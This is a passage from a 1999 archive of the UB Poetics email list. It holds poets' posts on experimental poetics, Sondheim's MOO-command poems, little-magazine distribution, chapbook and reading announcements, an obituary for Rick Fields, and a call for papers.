> *"the argument"? A parsing of consciousness itself, so as to make its otherwise smothering protoplasmic theosophic "body" look to be more the familiar bite-sized sequence of pieces we all might more easily accustom ourselves to? Or, in terms of sheer etiquette*

Please no bite-sized sequence of pieces of my "body". Otherwise sounds good sounds like Whalen. Instead of follow the money or follow the paper follow the mind. But also follow the paper follow the money.

> *at the level of more alarmingly "rapid" shifts of consciousness, may I ask, what do you do when you can't remember the word for "rug"?*

So far I enjoy that, today I couldn't remember "promiscuous." Ron Padgett's essay on mixing up "grapefruit" with "pineapple". Or when you call the rectangle on the floor a "toupee." I guess read some Oliver Sacks?

Hope you're well,
Jordan

↑ Index

96. Alan Sondheim
Bodei
Fri 4 Jun 1999

=-=-

Bodei

There appears to be some writing on the note ...

you do wound me cut shivered into shoulder
Bodee you do open shoulder entrance into breast
Bodee you do burrow into nipple tissue
Bodee Bodei where are you
I am so happy here within tissue erect on Bodei-Man
Bodei-Man where are you
do use long-thread close cloth oh dearest Bodee-Bodei
do close so very now warm from april dryness
you do borrow burrow-skin what a pretty person
Bodei-Bodee-Man where are you Bodei-Woman

you will be that woman and you will be that man
you do wind me in your cloth oh Bodei-Woman cotton
Bodee! Bodee!
@create $thing called Bodee-Bodei
@create $thing called Bodei-Bodee
I do love your wounding Bodei-Bodee
I do so love your burrow Bodei-Woman-Man
and and and ah ah ah and and and ah ah ah

(You finish reading.)

↑ Index

97. Patrick F. Durgin
Re: the flip of context
Fri 4 Jun 1999

Not intending to be glib, let me propose that proposing such questions is just the sort of thing I was refering to: necessarily abstract, you see. Although the hall of mirrors is apt, Jordan used the standing across the crater analogy, or rather proposed it. I picked it up, in ensemble. Therefore, I think your question "Who is the 'efficacy' for?" is a fascinating and difficult one. For instance, if this whole little speculative tiff came out of Notley's comments in the Combo 3 interview, as I recall (?), an interesting thing to do would be to consider the poetician's sense of anticipated audience, while she or he proceeds to fashion her or his argument so as to issue most freely and provocatively through this audience. Of course, the audience is never uncritical, and this is where cross-propositions come into play and generate "context" -- there is no REASON such a context should thereby cordon itself. Despite a lot of younger, experimental writers' notions that it inevitably does. This is my sense, anyhow. Patrick

At 04:45 AM 6/4/99 PDT, Stephen Ellis wrote:
>Reading the Davis/Durgin correspondence, many tangential and rather less
>abstract questions come to "mind" (if that's not being perhaps nominally
>overly optimistic ...), like
>Efficacy in terms of what?
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>Who is the "efficacy" for?
>To whom are "proposals" to be addressed?
>Is it all just in one big self-reflective house of mirrors &/or cards that

>the whole argument "takes place"? (Ah ... the lovely and familiar "it" motif
>again ...) As in fact, what IS
>
>"the argument"? A parsing of consciousness itself, so as to make its
>otherwise smothering protoplasmic theosophic "body" look to be more the
>familiar bite-sized sequence of pieces we all might more easily accustom
>ourselves to? Or, in terms of sheer etiquette
>
>at the level of more alarmingly "rapid" shifts of consciousness, may I ask,
>what do you do when you can't remember the word for "rug"?
>
>SE
>
>
>>From: "Patrick F. Durgin" <[redacted]>
>>Reply-To: UB Poetics discussion group <[redacted]>
>>To: [redacted]
>>Subject: Re: the flux of context
>>Date: Wed, 2 Jun 1999 22:47:40 -0500
>>
>>At 04:56 PM 6/1/99 -0400, Jordan Davis wrote:
>>
>>But what is so impossible to think term
>> >about "poetry"?
>>.. . . . . it's just games, sets, relations.
>>
>>   Okay, but without proposals, I think I meant, and proposals are
>>our
>>business, our wares, such relations are unlike poetry-bytes.
>>Cross-propositions might be a preferable term for "games, sets, relations."
>> Poetry signifies too many or too little, depending on the company one
>>keeps.
>>
>> >
>> >In re: "efficacy" I think we are standing across
>> >the crater from oeach ether. I am acting as inaudible
>> >interpreter of rumblings across generational strata.
>> >We are hearing "why no politics." I would rather not
>> >say "but yes politics!" I would rather say "what means
>> >why no politics." I have a quiet feeling that this is
>> >another chance for generational call and response
>> >invite to Freuddance. We'll see!

>>
>> Another proposal may be to carefully elaborate the divide by means
>>of
>>registering efficacy in light of, you nailed it, the suck of context. You
>>one nifty public correspondant. Don't be so quiet about it.
>> Patrick
>
>
>_____
>Get Free Email and Do More On The Web. Visit http://www.msn.com
>
>

↑ Index

98. Gerald Schwartz
Re: Frost at Kennedy's inauguration
Fri 4 Jun 1999

I knew a man...John Pallio..who was on the stand about 10 feet away from Frost...

It was an extremely cold day...there were electric heaters set up to warm the feet of the assembled...and somehow one of them caught fire in the middle of Frost's poem...many were anxious...Frost was oblivious...

Best,

Gerald

↑ Index

99. Patrick F. Durgin
Support your little magazines!
Sat 5 Jun 1999

Well, I'm (in a sense) happy to report that I've sold out of sample copies of the recent Kenning #4. This means that it's time to subscribe if you still have an interest in obtaining a copy. Subscribers at $9.50 receive a hand-printed portfolio suitable to hold several with their first of two loose-leaf issues. This format is exclusive to subscribers, who, incidentally, pay for the production and distribution (such as it is) of the magazine. Subscribe now and be assured to receive the soon to be published summer issue, #5, featuring: Lyn Hejinian, John M. Bennett, Peter O'Leary, Clark Coolidge, Kristin Prevallet, Brian Kim Stefans, Rachel Blau DuPlessis, and many others. Send payment to Patrick F.

Durgin, editor: Kenning, 418 Brown St. #10, Iowa City, Iowa 52245. Or, visit the website at: http://www.avalon.net/~kenning

↑ Index

100. Alan Sondheim

Stared Stiff

Sat 5 Jun 1999

<>

Stared Stiff

I'm staring at:

Dynamic HTML, The Definitive Reference
Web Design in a Nutshell
Linux in a Nutshell
Year 2000 in a Nutshell
Internet in a Nutshell
Learning Perl on Win32 Systems

and I'm thinking: The _thickness_ of these texts presenting _potentials_ or matrices resulting long term in the construction of _worlds._ Dynamic HTML (Danny Goodman) set me off in this direction - page after page of reference (and of course still nothing compared, say, to the X Window manuals) - particulations, attributes of objects, protocols given in full. What I'm referencing is the _texture_ of the manual and its role as open source - atomics - moleculars - for emergences - but also the defuge asso- ciated with these manuals - the paste-like exhaustion - concatenating strings - and think of the attributions - the _properties_ - of all the objects in the world. Like "bgcolor" these are emptied, waiting. Quote "now that the _animate_ object is defined" - further - <BODY><DIV ID="ani- mate"> This Enormous Life-Form Which Will Dominate Your Small and Vulner- able BODY </DIV></BODY> - HTML is all HEAD and BODY - ANIMATEDHTML - "Our Animate Boy" - 1933 - "Our Animate Girl" - 1944 (more complex and in War- time) - What is the Life-Form - What is Emerging from this Thickness - Who are the Readers with Talons - What Surgical Performances - What Satanic Mills -

---

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101. **rebecca wolff**
united we stand, etc.
Sat 5 Jun 1999

Hi,

I wanted to report a little bit about a meeting held on June 2 in New York City on the subject of distribution for literary magazines. The meeting was held under the auspices of CLMP (council of literary magazines and presses) and was organized by me and Jenine Bockman Gordon of Literal Latte. Participants included Faye Kosmidis of DeBoer Distribution, Cheryl Carlson, newsstand division manager of Barnes & Noble, and Ian Brand, a bookseller at Labyrinth Books, an independent bookstore here in New York.

What follows is extremely technical and may be of interest only to publishers of journals: following from that, I'd love it if anyone out there who is a publisher of a lit mag would email me back and let me know what you think of the following report and attached ideas.

Basically, it went very well, with the upshot being that I'm energized and ready to make a stand for empowerment of the tiny publisher. It seems clear, after the meeting, that everyone involved (booksellers, both chain and independent; distributors, both small and mega; and publishers) sees a need for the establishment of some kind of organ of articulation or advocate for the needs and rights of the little magazine, in order for the magazine to flourish in this our new age.

One thing established during the meeting was that, although lit mags make up a tiny tiny proportion of the business of bookstores (especially chains) and of the periodicals distributors who serve them, they still do remain a desirable and indispensable commodity in that they bring into the stores that most sought-after commodity: the literate buyer of books, the upscale educated consumer.

Once that fact was established, we moved on to talking about the nitty-gritty ways that we could all work together to "sell more magazines"--with the obvious issue of their general esotericness as a given. We talked about possible promotions, about trying to educate the sales clerks as to the value of the lit mag, etc., and it all came down to: great ideas, but who is going to do this stuff? Certainly not the already overwhelmed publisher, and certainly not the distributor, whose job is to mail out bales of mags.

Cheryl Carlson, B&N lady, then expressed a desire that there be "one person" that she could deal with as a representative of the literary magazines, with whom she could make plans for promotions, for better inventory-taking, for wiser ordering, for better returns policies, etc. She actually sounded genuinely interested in the prospect.

I nearly jumped out of my seat with I-told-you-so-ness, as this was an idea I'd had (and proposed to CLMP without much response) in February.

Similarly, Faye Kosmidis from DeBoer agreed that it would be a good thing if there was someone out there whose job it was to call bookstores and see if they needed more copies of such and such magazine, and to try to educate booksellers about the peculiarities of the journal as a commodity (re: frequency, shelf-life, etc).

So anyway: I'm now thinking that publishers of literary journals should form an informal union of sorts: this way we could at least try to have more of a voice with distributors. My next move as the Norma Rae of journal publishers is to try to get Ingram to consider grouping all of their literary journals with one Account Executive (currently they're scattered all over and none of the AEs seems to have a clue as to what exactly a literary journal is and how they might need to be treated differently in order to have a better chance of selling). This is in my own particular best interests as Fence is carried by Ingram, but obviously a larger step needs to be taken in the future. For example:

and what follows is a dreamy scenario, an idyllic scenario:

what if all journals agreed to have an exclusive contract with one distributor (preferably a small one?) It turns out that the major reason it's so hard for these companies to do their business is that the advent of the huge national distributors meant that they each can get only a little share of what is already a pretty meager pie. If all journals were available only through one distributor (creating a monopoly of sorts) it would be great for the publishers and for the distributor in many ways. The distributor could actually make some money of f the journals and so wouldn't treat us publishers like they were doing us a favor by distributing them. Publishers could have more certainty of getting a straight answer, good service, and fair practice from their distributor.

Anyway, if any of this makes any sense to you (and you are a publisher of a distributable journal, ie, one with a spine) backchannel me. There's a lot more to talk about and report on but I don't want to take up too much electronic airspace.

Thanks,

Rebecca Wolff
Editor/Publisher of Fence

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102. Pattie McCarthy

publication announcement : BeautifulSwimmer Press : Swensen & Biglieri

Sun 6 Jun 1999

BeautifulSwimmer Press is pleased to announce the publication of 2 new chapbooks

O excerpts, by Cole Swensen and ROMA, by Gregg Biglieri.

O excerpts is 32 pages long, saddle-stapled, and printed on 80 lb Poseidon white paper. The cover is 100 lb Poseidon white cover stock and features a photograph by New York photographer Peter Kolk.

O excerpts is an operatic long poem from Swensen, the author of the prize-winning collections Noon, and more recently, True. She writes:

This matter of life and death on the tongue/la langue/in Italian it is/woman also/ alone what am what did/done/ever have you/ gone/ the sea in its complexity/ heredity/ complicity/ is rising/all her lung/ an anonymous furl/ and recurrent tone/ Manon/ the world would fit in your palm/ then/ slip into your palm/ something you wore at your throat on a chain/ belonged/ once written down/ was at once written as was sealed and carried/ a letter to her sister/ (take this letter to your sister)/ (but this time it's real)/ thus without witness/ thus without edges/ she slits open.

***

ROMA is 40 pages, saddle-stapled, and printed on 80 lb Poseidon white paper. The cover features architectural sketches printed in white ink on cobalt blue Strathmore/Rhodedendron 80 lb cover stock.

ROMA is a serial poem comprised of 18 sections, a meandering meditation through the city's physical and architectural niches, an addressing of art & writing, an invocation of many of Italy's artistic sons as guiding spirits, including Borromini, Bernini, and Caravaggio. Throughout, Biglieri turns his eye to the visual intricacies of Rome's art and architecture, and tunes his ear toward a possible language with which to read and speak of such intricacies, such intimacies, where the inside is the outside and "the mind undoes its mounting."

Light slatted the lover shades the lower lift/ and shadows act as penitent tattoos that see/ through you imprinting pattern on the chaos./ Often a mind devolves to demolition./ No garden of olives then./ Just thinking the rag ends of the viols./ And none produce this, none see citation./ To announce that which will not/ take the place of. Time is what is left/ to know of no avail now. Shed the havings/ of what were, or the leavings of what have you./ No sketching. A bit of quicklime./ Paint directly on the canvas.

***

The chapbooks are $8 each and can be purchased directly by sending a check, payable to Pattie McCarthy, to BeautifulSwimmer Press, 158 Franklin Street, Ground Floor, Brooklyn, NY 11222 or by emailing [redacted].

The chapbooks are also available through Small Press Distribution.

In addition to O excerpts and ROMA, BeautifulSwimmer's first two chapbooks, Renga: Draft 32, by Rachel Blau DuPlessis, and Postcards, by Barbara Cole, are also available for $8 each—either directly from BeautifulSwimmer or through SPD (see SPD's most recent catalog for further information).

To celebrate these publications, BeautifulSwimmer is offering a special package deal of
all four chapbooks for $25.

Please feel free to email for more information, or to place orders,
and thanks for your support.
--Pattie McCarthy

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103. Jeremy Solomons
Re: Motion
Sun 6 Jun 1999

Right, it's the politics and the power. If you are going to fight it, surely it has to be on that level. If Motion & bros. have the power then telling everyone their poetry is shit is not going to get anyone everywhere.

What is more interesting to me is where the mainstream and experiment interact. And, in parallel to that, the fact that some readers of so-called, mainstream poetry, when they get the opportunity to partake of "Other" poetries, are able to read, enjoy and respond to it.

Motion and his pals prevent that, presumably because they are not able to appreciate anything outside of their little world or they have a tightly knit crowd that all publish each other and are loathe to let others in. Isn't' that the case with much poetry, or much publishing that is not "commercially viable." John Grisham gets published because he makes money once you get past that its because someone likes it or has some other good or nefarious reason to publish.

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104. Wendy Kramer
boston alternativepoetry conference
Sun 6 Jun 1999

hello it's wendy kramer. looking for people to transport & put up with for boston from nyc please backchannel . if you're a boston person & wanna put me up i

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105. Wendy Kramer
boston alternative
Sun 6 Jun 1999

hello it's wendy kramer. looking for people to transport with & put up with for boston conference from nyc. please backchannel.

if you're a boston person & wanna put me up i could wash your dishes or some such.

if you live near the charles river where i hear it's good to go for a run esp consider me.

if you wanna split a motel six several ways please backchannel if you know a cheap hostile please back channel

ever grateful & looking froward

wendy

p.s. i think i have to work that monday so if you're going back after sun day fergit this ad.

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106. pete spence
Re: hannah weiner's WRITTEN IN/THE ZERO ONE
Sun 6 Jun 1999

> *for those who have ordered Hannah Weiner's WRITTEN IN/THE ZERO recently i'd like your comment on the book, a line a paragraph but limit to a full A5 (half quarto?)page will make a book of the comments they should be sent to my by mail, set your comments in whaterver typeface or point size as long as it works out no larger than the page size (above) with reasonable margins for saddle stapling. will send back to everyone a copy of the book/pete spence*

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

_____
Get Your Private, Free Email at http://www.hotmail.com

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107. Alan Sondheim
description of ongoing work (apologies for cross-posting)
Sun 6 Jun 1999

-/-

Internet Philosophy and Psychology - June.99

This is a somewhat periodic notice describing my Internet Text, available on the Net, and sent in the form of texts to various lists (Cybermind and fop-l, and sometimes cyberculture, all of which I comoderate). The URL is: http://www.anu.edu.au/english/internet_txt/ and the mirror (without java- sript, graphics, The Case of the Real, a short novel (Ma) or dhtml pages) is http://lists.village.virginia.edu/~spoons/internet_txt.html.

The changing nature of the email lists, Cybermind and Fiction-of-Philoso- phy, to which the texts are sent individually, hides the full body of the work; readers may not be aware of the continuity among them. The writing may appear fragmented, created piecemeal, splintered from a non-existent whole. On my end, the whole is evident, the texts extended into the lists, part or transitional objects.

So this (periodic) notice is an attempt to recuperate the work as total- ity. Below is an updated introduction.

The "Internet Text" currently constitutes around 90 files, or 2800 printed pages. It was started in 1994, and continues as an extended meditation on cyberspace. It began with a somewhat straightforward theoretical outline, and has expanded into wild theory and literatures.

Almost all of the text is in the form of short-waves or long-waves. The former are the individually-titled sections, written in a variety of styles, and at times referencing other writers/theorists. The sections are heavily interrelated; on occasion emanations appear, "emanants" possessing philosophical or psychological import. They also create and problematize narrative substructures within the work as a whole. Such are Julu, Alan, Jennifer, Nikuko, in particular. Overall, I'm concerned with virtual-real subjectivities and their interpenetrations, in relation to various philo- sophical issues. Recently, I've been working with simple reworkings of the emacs doctor program, and writing

dhtml pages, exploring parsing and rhe- torics of control, erotics, and sublimation.

The long-waves are fuzzy loci bearing on such issues as death, love, vir- tual embodiment, the "granularity of the real," physical reality, computer languages, and protocols which weave throughout the texts. The resulting splits and coalescences owe something to phenomenology, deconstruction, linguistics, prehistory, programming, etc., as well as to the functionings of online worlds in relation to everyday realities.

I have used MUDS, MOOS, talkers, perl, d/html, qbasic, linux, emacs, Cu-SeeMe, etc., all tending towards a future of being-and-writing, texts which act and engage beyond traditional reading practices. Some of the work emerges out of performative language such as computer programs or MOO commands which _do_ things; some emerges out of interference with these languages, or conversations using internet applications that are activated one way or another.

There is no binarism in the texts, no series of definitive statements. Virtuality is considered beyond the text- and web-scapes prevalent now. The various issues of embodiment that will arrive with full-real VR are already in embryonic existence, permitting the theorizing of present and future sites, "spaces," nodes, and modalities of body/speech/community.

Please check the INDEX to find your way into the earlier body of the work. The Case of the Real is useful. It is also helpful to read the first file, Net1.txt, and/or to look at the latest files (kw kx, etc., which are still to be indexed) as well. Skip around. The Index lists the files in which a particular topic is described; you can then do a search on the file, or simply scroll down (the files range in length from 30 to 50 pages in print). (Note: I have stopped working on the index; for the later files, I suggest you skim. Eventually, I need a site and a local search engine for the texts; at the moment, I apologize for the awkwardness of it all.)

The texts may be distributed in any medium; please credit me. I would ap- preciate in return any comments you may have.

See also: Being on Line, Net Subjectivity (anthology), Lusitania, 1997 New Observations Magazine #120 (anthology), Cultures of Cyberspace, 1998 The Case of the Real, Pote and Poets Press, 1998

Alan Sondheim [redacted]
432 Dean Street, Brooklyn, NY, 11217
mail to: [redacted]

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108. gquasha
Rick Fields
Mon 7 Jun 1999

I am beyond sad to report that Rick Fields passed away Sunday, June 6th, around noon Pacific Time at his home in the Bay Area. Poet, author of important works on Buddhism and related subjects, and editor, Rick's best-known books include _How the Swans Came Home to the Lake: A Narrative History of Buddhism in America_; _Chop Wood, Carry Water_; and _The Code of the Warrior_. He was formerly the editor of _The Vajradhatu Sun_ and _Yoga Journal_. He edited _ The Awakened Warrior _ and co-translated _The Turquoise Bee: Love Songs of the Sixth Dalai Lama._ He was an extraordinary writer. During his five-year struggle with cancer (experts had predicted a year) he captured an astonishing spirit and life force in a series of poems published under the title _Fuck You, Cancer, and Other Poems_ — a work that has served many people who are dealing with life-threatening illness, whether patients or their friends, family, doctors, and hospital staff. Rick was loved and his work appreciated by a great many people, and those who knew him benefited immeasurably from his quality of presence, generosity and his own species of lightness and joy of being. Just the way he handled illness with such presence and openness was, for me, a great teaching. And so much about him was like that—a very understated gift. Gratitude for having known him overshadows even the painful loss.

George Quasha
Station Hill Press/Barrytown, Ltd.
or The Institute for Publishing Arts, Inc.
Barrytown, NY 12507

Office: [redacted]
Fax: [redacted] (publishing) and [redacted] (GQ direct)

http://www.stationhill.org
e-mail: [redacted]

Book Orders to Station Hill/Barrytown: [redacted] (Credit Card)

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109. Ron Silliman
Pounding Pound
Mon 7 Jun 1999

For a weird little reading experience,
folks who want to see how badly 20th century poetry can be misinterpreted
are directed to:

www.newcriterion.com/archive/17/jun99/lyons.htm
which is the site for a very strange little article on Pound
by someone who truly hates The Cantos and everything such verse bred.
He suggests that their motivation is simply Joyce envy.

Ron

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110. Stephen Ellis
Re: symbolic snogging
Mon 7 Jun 1999

In back of Aristotle in this particular context, loom the "numerical systems" of ancient epic (Gilgamesh, the Old Test.), wch was be "told" by numerical placement & relation rather than narrativized in the yet-to-be developed grammer etc. of ... Greeks? ie., it was all plot/plat, like a celestial map that also works as a neuro-muscular gloss, that is, "story" at that point was the ultimate maybe non-linear logic, or perhaps logic = epic in that sense is the nose by wch Aris. was led toward "conscious reasoning" of the system whilst equally within it, or how to accomplish the telling of the tale of each those things it takes far less time to completely count remains an account we haven't yet learned to pay in full, unless by "symbolic"

we mean "I am no longer the man that either ordered or ate the breakfast that was here, so therefore, I'm not paying for it."

> *From: Judy Roitman <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: symbolic snogging*
> *Date: Fri, 4 Jun 1999 09:07:50 -0500*
>
> *Maybe we should take this back-channel, but there seem to be more than a few symbolic logic fans here...*
>
> *In a sense, symbolic logic is not 'just another branch' of maths: it's an essential foundation of most branches of mathematics. Any formal proof requires a process that, if not actually written as formal logic, should be*
> *able to be reduced to it.*
>
> *That's how it was billed (or, as we say these days, marketed) back when I was in school, but things have changed and there's a lot of fairly serious criticism of these notions.*
>
> *Whatever your view of foundations, symbolic logic can be viewed as a branch*

> *of mathematics. That seems to be the distinction between symbolic logic and other sorts of logical inquiry.*
>
> *I don't think that symbolic logic was intended to replace the non-symbolic kind, but was an attempt to systematize the kind of conscious reasoning that goes back to Aristotle. It does swallow up whole fields; at least in the sense that it narrows those fields.*
>
> *Yes yes yes. The narrowing is an interesting (and I think invasive) phenomenon.*
>
> *....*
> *As an interesting aside, there's a lot of criticism of the binary true/false nature of Western logic. It's ironic, then, that Leibniz's development of binary arithmetic was partly based upon his reading of the I Ching!*
>
> *Tom Beard*
>
> *Cool. Thanks.*
>
> *---*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*
> *---*
> *Note new area code*
> *---*
> *http://www.math.ukans.edu/~roitman/*
> *---*

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111. Stephen Ellis
Re: Non-Meaningful Levels of Language - A Query
Mon 7 Jun 1999

All statements are self-possessed by their inversions; one claim invokes its opposite; runs hot and cold, confronts & simultaeneously runs away from, the very fleeting quality of these "reversals" as, unnegotiably conflictive, yet in terms of

the alchemy you mention, there is a "trick" - to permit the twin aspects of such duality to interpenetrate, not nonsensically, especially, but dogmatically using as a basis the familiar alchemical bumper-sticker, "as above, so below" - and all variations of it, ie., "bury the bone deeper" in that way that Brenda Hillman characterizes as knowing the unknown via a greater unknown, or the homepathic "cure like with like" (the toxin / anti-toxin route), so

what you'll "get" in some end (so one hopes), is a cross-fertilization in which something like the electromagnesis of gravity might be felt to "rise" (as a heart might) out of the ground laid out where the influx that ignites the desire to "do it" in the first place is shaped by one's own thermodynamic gesture that makes the object at its end equal to the subject of its means, not to say also, that at certain times, certain of these objects, subjects, gestures, hearts, grounds, ignitions and gravities may appear to be upsidedown and/or insideout. But of course,

that's why it's called "nonsense" - as if that's the best thing it could get to be. It. The "knowing" of the knowing "form". Why not deliver the lecture standing on your head? Not forgetting of course also, to wiggle your toes when the going gets serious. There ARE no "non-meaningful levels of language", tho of course, there is plenty of important cultural detritus about that nobody understands.

> *From: Aviva Vogel <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Non-Meaningful Levels of Language - A Query*
> *Date: Thu, 3 Jun 1999 16:58:15 EDT*
>
> *I'm giving a graduating lecture (description follows) at mainstream Vermont College MFA in Writing program, and would love comments/suggestions on potential sources & references that would help address the lecture questions*
> *properly for a relatively conservative audience of readers/writers.*
> *Thanks!!!*
>
> *GNOSIS, NONSENSE, NADA*

"The future of poetry lies in the exploitation of non-meaningful levels of language. These levels establish poetry as a form of discourse that must be read as entirely separate from normal, communicative language, read with its materiality, its artifice in mind...". (Veronica Forrest-Thomson, Poetic Artifice).

What a claim! Why write apparent 'nonsense?' What possible project might we have for a poetry of relative 'obfuscation'? How can language that simultaneously conceals and reveals help us 'know'?

If words don't refer to clear particulars and concepts, how can such "non-meaningful levels of language" facilitate gnosis? If a poem's language is syntactically and semantically fluid, diffusing boundaries between subject/object, self/other, hwere else might a reader be taken (besides into confusion, even boredom)? What are the chances for finding value in visual, kinesthetic, musical, or mathematical meaning, rather than depending on a more familiar thematic meaning?

Do we want to accept an 'experimental' or 'avant garde' poetry's claim to provide us with a much-needed psychic invasion to strip us of our 'thought-coverings'? Would we then descend into a meaningless abyss, nothingness, into our little 'nada' selves?

As Brenda Hillman suggests in her epigraph to Blue Codices (from Loose Sugar), it is enticing to entertain the notion that we might "Explain the unknown/ by the more unknonw," a saying she attributes to "an alchemical theorem." By taking a look at Hillman's poetry, and probably other work by Mary Reufle, Lyn Hejinian, John Taggart, Rosemary Waldrop, and/or Donald Revell (list is bound to change), this lecture will tousle around (on mats of course) in the hoary backyard of this 'pissed-on' and 'pissed-upon' territory. It's important to dwell on handouts in office before coming to wrestle.

I have, at this late date, a far more intuitive than concrete handle on the answers to some of these questions, and have been investigating everything from gnostic scriptures like Nag Hammadi and Elaine Pagels' books -- to Perloff, introductions to 'experimental' anthologies, and other ready-at-hand critical writing. Unfortunately, I've just been faced with a sudden need to move my entire household, and would like to get to the bottom of this subject

> *in some kind of usable, presentable fashion as quickly as possible (although*
> *I'm sure the topic requires at least a lifetime of writing and reading and studying).*
> *If anyone has ideas about how to approach this lecture, what to read,*
> *who to quote, or how to articulate the direction that you sense the questions*
> *are leading me in, please let me know. I'd be immensely grateful.*
> *Thanks,*
> *Aviva Vogel, Poetangles & Motherdrum, Norwich, VT 05055*

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112. Charles Bernstein

new PMC

Mon 7 Jun 1999

Several things of interest in the new PMC:

POSTMODERNCULTUREPOSTMODERNCULTURE
POSTMODERNCULTUREPOSTMODERNCULTURE

Volume 9, Number 3 (May, 1999) ISSN: 1053-1920

Jed Rasula, "Textual Indigence in the Archive"

James McCorkle, "Prophecy and the Figure of the Reader in Susan Howe's _Articulation of Sound Forms in Time_"

Richard Quinn, "Poetry at the Millennium: 'Open on its Forward Side.'" A review of Jerome Rothenberg and Pierre Joris, eds., _Poems for the Millennium: The University of California Book of Modern and Postmodern Poetry (Volume Two: From Postwar to Millenium)_. Berkeley: U of California P, 1998.

Abstracts

o Abstract: Susan Howe's _Articulation of Sound Forms in Time_ is considered in light of Heidegger's condition of an "openness to mystery" or as Gerald Burns explains, "the region of the

question" and its uncontainability within finite interpretations." The importance of Howe's work lies in its testing of the conditions of mastery and control--issues that are among those Howe explores and incorporates from her readings of Emily Dickinson. Interpretations, such as those of Perloff and Reinfeld, begin with the re-assembling of a narrative from the fragments that Howe offers. Such a critical direction suggests the act of interpretation must be, or can only be, a normative, disciplining method. Such a process must be resisted: the retrieval of histories, texts, and identities does not imply a necessary containment or totalizing of memory. Memory, instead, allows for imaginative inquiry, which is redoubled in Howe's poem, with the possibility of prophecy: the Falls Fight of 1676 that Howe uses as her foundational source becomes a mirror for ourselves. Hope Atherton prefigures the conditions and failures of community, as well as a genealogy of policing. As prophecy, Howe's poem invites us to participate in the signifying process; each word of the poem becomes a site for meditation and a reflection on the history of what was and what is still becoming.--jm

Jed Rasula, "Textual Indigence in the Archive"

- Abstract: Currently the Internet animates dreams of instantaneous telepresence and rapid data transfer, but the "dromocratic" revolution also makes rapid conceptual transit compulsory (Virilio). The modern enthrallment with speed is a nascent stipulation of communication technologies that are modeled on, and answerable to, the cross-referencing mobility pioneered in the Enlightenment encyclopedia. The efficiency of the archival web of encyclopedism readily leads to a complacent mirage of power and control. In order to examine this mirage, I discuss two "encyclopedic" novels--_Moby-Dick_ and _The Magic Mountain_--which disclose, below the utopian fantasy of unambiguous signals and noise-free

channels, a salutary posture of indigence. The peril attendant on digitized telepresence is that the uniform coding of data obliterates tactile agency. But a phantom materiality lingers on, traceable by way of the cross-referencing and multiple-coding options of the Encyclopedia. The challenge of a plenitude of cross-referencing is one of surfeit: the enhancement of cognitive speed, confronting the increased magnitude of material to which its rapid conceptual transit makes access, reinstates idealism as a vindictive triumph over matter. The novels I examine by Melville and Mann confront mountains of data, but resist the enticements to mobility of encyclopedic culture, casting their lots instead with an indigent reserve, rehearsing narrative tactics of delay, meander, filibuster. Maximizing the tension between documentation and storytelling, they demonstrate the epistemological lesson that a surface rationalism conceals an atavistic endowment that is at once a "pre-rational" or mythic threat as well as a repository of creative energy--the very energy required in order to compose the work: nothing less than a microbial sentience that makes us what we are without our ever having to know anything about it, the charmed circle of life itself in which the pleasures of circulating exceed the compass of human knowledge.--jr

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113. **Linda Russo**

CFP Poetics/Production, NEMLA 2000

Mon 7 Jun 1999

CFP NEMLA 2000 (April 7-8, SUNY@Buffalo)

Poetics/Production: Modern and Post-Modern Little Magazines

This session invites papers on any aspect of innovative poetry production (both in the sense of the writing of poetry and the reproduction/printing thereof) or the production of poetics, as these relate to Modern and Post-Modern (and

contemporary) little magazines.

We will focus chiefly on American and Canadian little magazines, though papers on
British little magazines as they relate to American poetry are welcome. Papers might
focus on specific little magazines or editors, particular poets or 'scenes', a specific
lineage (e.g. women editors, 'minor' and/or otherwise obscured schools, such as
Black Mountain, San Francisco Renaissance, and the Objectivists, and the development
of current innovative poetic practice), or any other aspects of poetics and production.
Current and recent little magazine editors are encouraged to contribute; non-traditional
academic or non- and anti-academic papers and perspectives are welcome.

The little magazine has a rich history in the United States and Canada, as evinced by the
recently published _A Secret Location on the Lower East Side: Adventures in Writing,
1960-1980_ (Granary Books, 1998). It is a history that is particularly attuned to poetry
because poets and editors, especially avant-garde poets and editors, both helped create
and were themselves created by modernist little magazines (such as Margaret Anderson's
The Little Review, Ezra Pound's _The Egoist_, Alfred Kreymborg's _Others_ and
William Carlos Williams' _Contact_); the little magazines of 'mimeo revolution' (e.g. Diane
DiPrima's _Floating Bear_, LeRoi Jones' _Yugen_, George Stanley's _Open

Space_ and
Jack Spicer's _J_, Ted Berrigan's _C_, Maureen Owens' _Telephone_) and, more

recently, what has come to be known as Language Writing
(L=A=N=G=U=A=G=E,
ed.
Bruce Andrews and Charles Bernstein, Carla Harryman's _Qu_, for example) - a history
whose influence is felt today in the plethora of little magazines that claim
to define an
'innovative' or 'avant garde' terrain.

Deadline Sept. 1, 1999. Send brief coversheet and one-page abstract to:

[redacted]

or
Linda Russo
19 Hodge Avenue, no. 9
Buffalo NY 14222

please include email address and phone number.

* * * *

Linda Russo
Graduate T.A.
SUNY @Buffalo, Buffalo NY

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114. Kyle Conner
Highwire Reading
Mon 7 Jun 1999

READING THIS SATURDAY:

from Brooklyn, RACHEL LEVITSKY

w/
Hometown contender, JIM CORY

HIGHWIRE GALLERY, 139 N. 2nd St.
or, if you want to go straight to the bar:
Anthony's, middle of 200 block Market St.

Saturday, June 12, 8PM (yeah right)
BYO

RACHEL DEMOCRACY LEVITSKY recently emigrated from Boulder, Colorado, where she curated the Left Hand Reading Series. She teaches poetry to Queens

kids and teaches union members how to write unnaturally so they can pass the CUNY writing test and go to college. She is the author of three chapbooks, _2(1x1)Portraits_, _The Adventures of Yaya and Grace_ and _Cartographies of Error_ forthcoming this July from Leroy Press in San Francisco. She believes the wildlife of New York is much more wild than that of Colorado--give her a week with a bicycle and she will prove it to you.

from The Adventures of Yaya and Grace:

